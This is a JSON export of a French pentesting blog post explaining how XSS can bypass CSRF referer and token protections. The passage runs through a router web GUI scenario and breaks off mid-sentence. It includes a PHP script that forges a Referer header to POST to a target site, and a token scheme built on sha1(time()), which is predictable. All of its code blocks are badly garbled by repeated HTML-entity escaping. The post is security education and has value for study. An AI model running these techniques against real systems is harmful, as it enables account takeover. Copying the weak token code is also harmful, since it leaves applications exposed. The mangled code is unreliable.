{"id":968,"date":"2013-05-23T17:57:13","date_gmt":"2013-05-23T15:57:13","guid":{"rendered":"https:\/\/www.asafety.fr\/?p=968"},"modified":"2016-07-25T00:41:36","modified_gmt":"2016-07-24T22:41:36","slug":"csrf-referer-token-protection-bypass-with-xss","status":"publish","type":"post","link":"https:\/\/www.asafety.fr\/en\/vuln-exploit-poc\/csrf-referer-token-protection-bypass-with-xss\/","title":{"rendered":"CSRF Referer &#038; Token protection bypass with XSS"},"content":{"rendered":"<p><\/p>\n<p><p>Au cours de r\u00e9cents pentests, il m&#8217;a \u00e9t\u00e9 possible de contourner certaines protections anti-CSRF par le biais de moyen d\u00e9tourn\u00e9s. Pour pr\u00e9senter ces techniques, un cas concret d&#8217;une application web vuln\u00e9rable va \u00eatre d\u00e9taill\u00e9.<\/p>\n<p>Dans un premier temps, effectuons un tour d&#8217;horizon de la vuln\u00e9rabilit\u00e9 CSRF ainsi que les diff\u00e9rents moyens utilis\u00e9s\/pr\u00e9conis\u00e9s pour s&#8217;en prot\u00e9ger.<\/p>\n<h2>Pr\u00e9sentation\u00a0succinte\u00a0des attaques CSRF<\/h2>\n<p>Ce type d&#8217;attaque, principalement orient\u00e9e vers les applications web, exploite les privil\u00e8ges d&#8217;un utilisateur particulier sans que celui-ci n&#8217;en soit conscient pour r\u00e9aliser toutes sortes d&#8217;actions. Comme c&#8217;est l&#8217;utilisateur l\u00e9gitime (administrateur) qui ex\u00e9cute l&#8217;action \u00e0 son insu, la plupart des syst\u00e8mes d&#8217;authentification sont contourn\u00e9s. La d\u00e9finition de l&#8217;<a title=\"OWASP CSRF\" href=\"https:\/\/www.owasp.org\/index.php\/Cross-Site_Request_Forgery_(CSRF)\" target=\"_blank\">OWASP<\/a> est la suivante :<\/p>\n<blockquote>\n<p>CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he\/she is currently authenticated. With a little help of social engineering (like sending a link via email\/chat), an attacker may force the users of a web application to execute actions of the attacker&#8217;s choosing. A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application.<\/p>\n<\/blockquote>\n<p>Ces attaques disposent de quelques caract\u00e9ristiques :<\/p>\n<ul>\n<li>Elle implique une application web qui repose sur l&#8217;authentification \u00e0 un instant donn\u00e9 d&#8217;un utilisateur<\/li>\n<li>Elles exploitent la confiance de cette authentification pour r\u00e9aliser diverses actions sur le site web.<\/li>\n<li>Elles se repr\u00e9sentent pas l&#8217;envoi de requ\u00eates HTTP(s), via GET ou POST, dans le contexte de l&#8217;utilisateur l\u00e9gitime, et donc avec ses privil\u00e8ges\/droits associ\u00e9s.<\/li>\n<li>La plupart du temps, elles sont \u00e9mises au travers d&#8217;une URL sp\u00e9cialement con\u00e7ue, ou d&#8217;un formulaire web cach\u00e9 (avec des champs &#8220;hidden&#8221;), qui s&#8217;auto-envoie \u00e0 son chargement, dans le contexte du navigateur cible.<\/li>\n<\/ul>\n<p>Ces vuln\u00e9rabilit\u00e9s sont bien trop souvent jug\u00e9es non-critiques et ignor\u00e9es. Sachez qu&#8217;il est possible d&#8217;obtenir des <a title=\"[Pentesting] \u00c9tablir un reverse-shell en une ligne\" href=\"https:\/\/www.asafety.fr\/vuln-exploit-poc\/pentesting-etablir-un-reverse-shell-en-une-ligne\/\" target=\"_blank\">reverse-shell<\/a> sur une machine\/distribution par le biais de telles vuln\u00e9rabilit\u00e9s, et qu&#8217;exploit\u00e9es via des frameworks d\u00e9di\u00e9s tel que <a title=\"BeEF : modules m0n0wall et pfSense\" href=\"https:\/\/www.asafety.fr\/vuln-exploit-poc\/beef-modules-m0n0wall-et-pfsense\/\" target=\"_blank\">BeEF<\/a>, elles s&#8217;av\u00e8rent d&#8217;une grande dangerosit\u00e9. Je vous invite \u00e0 consulter mes divers PoC pour les routeurs\/firewalls <a title=\"[XSS &amp; CSRF RCE] pfSense 2.0.1 Remote root Access\" href=\"https:\/\/www.asafety.fr\/vuln-exploit-poc\/xss-csrf-rce-pfsense-2-0-1-remote-root-access\/\" target=\"_blank\">pfSense<\/a> ou encore <a title=\"[CSRF RCE] m0n0wall 1.33 Remote root Access\" href=\"https:\/\/www.asafety.fr\/vuln-exploit-poc\/csrf-rce-m0n0wall-1-33-remote-root-access\/\" target=\"_blank\">m0n0wall<\/a> qui exploitent de telles vuln\u00e9rabilit\u00e9, ainsi que l&#8217;adaptation de <a title=\"BeEF blog Bart Leppens m0n0wall\" href=\"http:\/\/blog.beefproject.com\/2013\/03\/exploiting-m0n0wall-133-with-beef.html\" target=\"_blank\">Bart Leppens<\/a>.<\/p>\n<h2>Protections courantes des attaques CSRF<\/h2>\n<p>Parmi les divers m\u00e9canismes de protection d&#8217;attaques CSRF, les suivants sont les principaux utilis\u00e9s.<\/p>\n<ul>\n<li>La demande de confirmation d&#8217;action \u00e0 l&#8217;utilisateur, ce qui peut alourdir l&#8217;encha\u00eenement des formulaires web. De plus ce m\u00e9canisme n&#8217;est pas 100% fiable si l&#8217;attaquant g\u00e9n\u00e8re la requ\u00eate finale post-confirmation.<\/li>\n<li>Demande de confirmation de l&#8217;ancien mot de passe pour un quelconque changement de mot de passe.<\/li>\n<li>Exploitation de jeton de session (token), pour valider l&#8217;envoi de formulaire. Ces jetons peuvent disposer d&#8217;une validit\u00e9 temporelle, ainsi un jeton trop vieux ne pourra \u00eatre exploit\u00e9\u00a0par un assaillant. Cette protection va \u00eatre trait\u00e9e par la suite.<\/li>\n<li>Eviter la m\u00e9thode GET pour r\u00e9aliser des actions.<\/li>\n<li>Effectuer une v\u00e9rification du &#8220;referer&#8221; (page de provenance) dans les pages sensibles : c&#8217;est principalement ce \u00e0 quoi nous allons nous int\u00e9resser comme m\u00e9canisme. Le referer est une en-t\u00eate HTTP qui transite de page en page, indiquant la page de provenance de la requ\u00eate. Ainsi une action critique sur un site web ne pourra se faire que si la requ\u00eate a \u00e9t\u00e9 \u00e9mise d&#8217;une page du m\u00eame site.<\/li>\n<\/ul>\n<p>De multiples frameworks, classes et codes de protection de ce type d&#8217;attaque existent de part le web. Pour n&#8217;en citer qu&#8217;un : <a title=\"CSRFMagic\" href=\"http:\/\/csrf.htmlpurifier.org\/\" target=\"_blank\">CSRFMagic<\/a>, qui est exploit\u00e9 dans diverses solutions de s\u00e9curit\u00e9.<\/p>\n<p>Dans cet article, deux des m\u00e9canismes les plus utilis\u00e9s sont bypass\u00e9s.<\/p>\n<h3>Protection par v\u00e9rification du referer<\/h3>\n<p>Le referer est une donn\u00e9es pr\u00e9sente dans les en-t\u00eates des requ\u00eates HTTP(s). Cette donn\u00e9es contient l&#8217;URL de provenance lorsque l&#8217;on arrive sur une page. Cet en-t\u00eate est utilis\u00e9e par bon nombre de syst\u00e8mes d&#8217;analyse du trafic sur un site web (Piwik, Google Analytics&#8230;). Ce qui permet d&#8217;identifier les &#8220;backlink&#8221; : les sites qui parlent du votre.<\/p>\n<p>Le referer peut \u00eatre facilement modifi\u00e9 par un utilisateur. Il existe de nombreux plugins de navigateur permettant cela. L&#8217;int\u00e9r\u00eat est d&#8217;injecter du code JS ou des SQLi dans ce champ pour corrompre un syst\u00e8me.<\/p>\n<p>Cet en-t\u00eate est \u00e9galement tr\u00e8s utilis\u00e9 pour se prot\u00e9ger des vuln\u00e9rabilit\u00e9s CSRF, ce qui nous int\u00e9resse dans notre cas. En effet, si une requ\u00eate avec des param\u00e8tres GET\/POST \u00e0 destination d&#8217;une page ne contient pas un referer valide (contenant l&#8217;url du site en lui-m\u00eame), c&#8217;est que c&#8217;est une tentative de CSRF. Beaucoup d&#8217;applications web impl\u00e9mentent cette protection pour s&#8217;assurer que les donn\u00e9es envoy\u00e9es par un formulaire de configuration ont bien \u00e9t\u00e9 indiqu\u00e9es \u00e0 partir du site de configuration lui-m\u00eame.<\/p>\n<p>Bien s\u00fbr, il est possible de forger ses propres requ\u00eates HTTP(s) avec un referer arbitraire (en PHP, Python, Perl&#8230;), toutefois ce n&#8217;est pas faisable en JavaScript.<\/p>\n<p>Si un site applique une protection de CSRF par referer, le code du site sera semblable \u00e0 celui-ci :<\/p>\n<p>[php]&amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;lt;p&amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;?php&amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;lt;p&amp;amp;amp;amp;gt;if(preg_match(&amp;amp;amp;amp;amp;quot;\/www\\.site\\.com\/&amp;amp;amp;amp;amp;quot;, $_SERVER[&amp;amp;amp;amp;amp;quot;HTTP_REFERER&amp;amp;amp;amp;amp;quot;])){&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n \/\/ do anything in valid context&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n} else {&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;quot;Potential CSRF attack with invalid referer&#8230;&amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n}&amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;lt;p&amp;amp;amp;amp;gt;?&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;lt;p&amp;amp;amp;amp;gt;[\/php]<\/p>\n<p>Pour forger une requ\u00eate HTTP avec un referer arbitraire, ceci est faisable en PHP comme le pr\u00e9cise l&#8217;article du <a title=\"Tailoc\" href=\"http:\/\/blog.tailoc.net\/2010\/07\/how-to-bypass-referer-security-check.html\" target=\"_blank\">blog tailoc<\/a> :<\/p>\n<p>[php]&amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;lt;p&amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;?php&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n\/\/ the site we want to attack&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n$host = &amp;amp;amp;amp;amp;quot;www.site.com&amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;lt;p&amp;amp;amp;amp;gt;\/\/ construct a header for our request&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n$hdrs = array( &#8216;http&#8217; =&amp;amp;amp;amp;amp;gt; array(&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &#8216;method&#8217; =&amp;amp;amp;amp;amp;gt; &amp;amp;amp;amp;amp;quot;POST&amp;amp;amp;amp;amp;quot;,&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &#8216;header&#8217;=&amp;amp;amp;amp;amp;gt; &amp;amp;amp;amp;amp;quot;accept-language: en\\r\\n&amp;amp;amp;amp;amp;quot; .&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;amp;quot;Host: $host\\r\\n&amp;amp;amp;amp;amp;quot; .&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;amp;quot;Referer: http:\/\/$host\\r\\n&amp;amp;amp;amp;amp;quot; . \/\/ Setting the http-referer&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;amp;quot;Content-Type: application\/x-www-form-urlencoded\\r\\n&amp;amp;amp;amp;amp;quot; .&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;amp;quot;Content-Length: 33\\r\\n\\r\\n&amp;amp;amp;amp;amp;quot; .&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;amp;quot;var1=val1&amp;amp;amp;amp;amp;amp;car2=val2\\r\\n&amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n )&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n);&amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;lt;p&amp;amp;amp;amp;gt;\/\/ get the requested page from the server&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n\/\/ with our header as a request-header&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n$context = stream_context_create($hdrs);&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n$fp = fopen(&amp;amp;amp;amp;amp;quot;http:\/\/&amp;amp;amp;amp;amp;quot; . $host . &amp;amp;amp;amp;amp;quot;\/&amp;amp;amp;amp;amp;quot; . $file, &#8216;r&#8217;, false, $context);&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nfpassthru($fp);&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nfclose($fp);&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n?&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;lt;p&amp;amp;amp;amp;gt;[\/php]<\/p>\n<p>C&#8217;est le serveur qui h\u00e9berge le script PHP qui fait office de client (navigateur web) d&#8217;o\u00f9 \u00e9mane la requ\u00eate destin\u00e9e au site cible.<\/p>\n<p>Cette technique ne peut s&#8217;appliquer dans notre cas, car le site qui h\u00e9berge le script PHP ne connait pas les cr\u00e9dentiels d&#8217;authentification, et ne dispose pas d&#8217;une session valide d&#8217;acc\u00e8s \u00e0 l&#8217;application web cible.<\/p>\n<h3>Protection par jeton de session<\/h3>\n<p>La seconde m\u00e9thode tr\u00e8s r\u00e9pandue est l&#8217;utilisation de jeton de session. Ces jetons sont g\u00e9n\u00e9ralement de simple hash (md5 ou sha1) d&#8217;une valeur al\u00e9atoire ou temporelle g\u00e9n\u00e9r\u00e9e et stock\u00e9e dans une variable de session. Ce jeton est\u00a0inclus\u00a0dans les param\u00e8tres GET\/POST des formulaires (via un champ cach\u00e9) pour \u00eatre compar\u00e9 \u00e0 celui stock\u00e9 dans une variable de session.<\/p>\n<p>R\u00e9sum\u00e9, le m\u00e9canisme est le suivant :<\/p>\n<ol>\n<li>L&#8217;utilisateur s&#8217;authentifie aupr\u00e8s de l&#8217;application web<\/li>\n<li>Un jeton de session associ\u00e9 \u00e0 l&#8217;utilisateur connect\u00e9 est g\u00e9n\u00e9r\u00e9. Ce jeton est stock\u00e9 dans les variables de session.<\/li>\n<li>Ce jeton transite de page en page et s&#8217;int\u00e8gre aux formulaires de l&#8217;application web<\/li>\n<li>Lorsqu&#8217;un formulaire est envoy\u00e9 \u00e0 une page cible, cette page compare le jeton re\u00e7u dans les param\u00e8tres du formulaire avec celui de la session courante.<\/li>\n<li>Si les jetons sont \u00e9gaux, alors la page r\u00e9alise le traitement souhait\u00e9, sinon c&#8217;est qu&#8217;une tentative de CSRF potentielle est en cours.<\/li>\n<\/ol>\n<p>C\u00f4t\u00e9 code source, ce m\u00e9canisme peut \u00eatre le suivant :<\/p>\n<p>[php]&amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;lt;p&amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;?php&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nsession_start(); \/\/ start the session&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n$time = time(); \/\/ get current timestamp&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n$token = sha1($time); \/\/ create the token&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n$_SESSION[&amp;amp;amp;amp;amp;quot;token&amp;amp;amp;amp;amp;quot;] = $token; \/\/ store the token in session var&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n$_SESSION[&amp;amp;amp;amp;amp;quot;tokenTime&amp;amp;amp;amp;amp;quot;] = $time; \/\/ store the time of token generation in session var&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n?&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;lt;p&amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;form action=&amp;amp;amp;amp;amp;quot;targetPage.php&amp;amp;amp;amp;amp;quot; method=&amp;amp;amp;amp;amp;quot;post&amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;input type=&amp;amp;amp;amp;amp;quot;hidden&amp;amp;amp;amp;amp;quot; name=&amp;amp;amp;amp;amp;quot;token&amp;amp;amp;amp;amp;quot; value=&amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;lt;?php echo $token; ?&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;quot; \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;input type=&amp;amp;amp;amp;amp;quot;text&amp;amp;amp;amp;amp;quot; name=&amp;amp;amp;amp;amp;quot;data&amp;amp;amp;amp;amp;quot; value=&amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;quot; \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n &amp;amp;amp;amp;amp;lt;input type=&amp;amp;amp;amp;amp;quot;submit&amp;amp;amp;amp;amp;quot; value=&amp;amp;amp;amp;amp;quot;Send&amp;amp;amp;amp;amp;quot; \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;amp;lt;\/form&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;lt;p&amp;amp;amp;amp;gt;[\/php]<\/p>\n<p>Du c\u00f4t\u00e9 de la page &#8220;targetPage.php&#8221; de traitement des donn\u00e9es :<\/p>\n<p>[php]&amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;lt;p&amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;lt;?php&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nsession_start();&amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;lt;p&amp;amp;amp;amp;gt;if(isset($_SESSION[&amp;amp;amp;amp;amp;quot;token&amp;amp;amp;amp;amp;quot;], $_SESSION[&amp;amp;amp;amp;amp;quot;tokenTime&amp;amp;amp;amp;amp;quot;], $_POST[&amp;amp;amp;amp;amp;quot;token&amp;amp;amp;amp;amp;quot;])){&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n if($_POST[&amp;amp;amp;amp;amp;quot;token&amp;amp;amp;amp;amp;quot;] == $_SESSION[&amp;amp;amp;amp;amp;quot;token&amp;amp;amp;amp;amp;quot;] &amp;amp;amp;amp;amp;amp;&amp;amp;amp;amp;amp;amp; (time()-$_SESSION[&amp;amp;amp;amp;amp;quot;tokenTime&amp;amp;amp;amp;amp;quot;] &amp;amp;amp;amp;amp;lt;= 300)){&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;quot;Valid session !&amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n \/\/ do something&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n } else {&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;quot;Invalid session, potential CSRF attack&#8230;&amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n }&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n} else {&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n echo &amp;amp;amp;amp;amp;quot;Token not found or invalid session&amp;amp;amp;amp;amp;quot;;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n}&amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;lt;p&amp;amp;amp;amp;gt;?&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;lt;p&amp;amp;amp;amp;gt;[\/php]<\/p>\n<p>Le param\u00e8tre du formulaire &#8220;token&#8221; est compar\u00e9 \u00e0 celui stock\u00e9 dans la session. De plus une notion de validit\u00e9 temporelle de 5 minutes est ajout\u00e9e pour que le traitement soit r\u00e9alis\u00e9.<\/p>\n<p>La difficult\u00e9 pour attaquer des syst\u00e8mes prot\u00e9g\u00e9s par des jetons de session est justement de capturer (ou g\u00e9n\u00e9rer) des tokens fiables et valides (dans le temps), qui sont associ\u00e9s \u00e0 un compte (administrateur) authentifi\u00e9.<\/p>\n<p>Au regarde de ces deux m\u00e9canismes principaux de protection de CSRF, la suite de cet article va d\u00e9tailler un sc\u00e9nario pour bypasser ces deux protections.<\/p>\n<h2>Contournement des protections CSRF via XSS<\/h2>\n<p>Pour exploiter des CSRF dans une application web dont les requ\u00eates sont prot\u00e9g\u00e9es par referer checking et\/ou par token, il y a la possibilit\u00e9 d&#8217;utiliser une vuln\u00e9rabilit\u00e9 XSS.<\/p>\n<p>Si une vuln\u00e9rabilit\u00e9 XSS (GET ou POST) est exploitable sans que les protections CSRF \u00a0de l&#8217;application web ne la bloque, alors toute la s\u00e9curit\u00e9 autour des CSRF peut \u00eatre mise \u00e0 mal.<\/p>\n<h3>Pr\u00e9requis<\/h3>\n<ul>\n<li>Imaginons qu&#8217;une CSRF est d\u00e9couverte dans le WebGUI d&#8217;un firewall\/routeur, permettant de changer le mot de passe d&#8217;administration, arr\u00eater la distribution ou encore r\u00e9cup\u00e9rer un reverse-shell.<\/li>\n<li>Cette CSRF n&#8217;est fonctionnelle que sous certaines conditions : l&#8217;en-t\u00eate HTTP du referer doit \u00eatre pr\u00e9sente et pointer sur l&#8217;URL du routeur en lui m\u00eame. De plus, un token al\u00e9atoire est g\u00e9n\u00e9r\u00e9 sur la page de visualisation du formulaire et il doit \u00eatre envoy\u00e9 avec les donn\u00e9es du formulaire (champ input type &#8220;hidden&#8221;).<\/li>\n<li>Finalement,\u00a0consid\u00e9rons qu&#8217;une faille XSS GET est pr\u00e9sente sur le WebGUI du routeur, et que celle-ci est fonctionnelle sans v\u00e9rification du referer ni d&#8217;un token (puisqu&#8217;elle exploite la m\u00e9thode GET).<\/li>\n<\/ul>\n<h3>Sc\u00e9nario<\/h3>\n<p>Le sc\u00e9nario pour automatiser l&#8217;attaque CSRF prot\u00e9g\u00e9e va consister \u00e0 :<\/p>\n<ul>\n<li>Exploiter la vuln\u00e9rabilit\u00e9 XSS GET pour charger un script JS tiers (stock\u00e9 sur un serveur web du pentester) dans le contexte du WebGUI du firewall\/routeur. A ce stade, l&#8217;XSS est fonctionnelle mais le referer 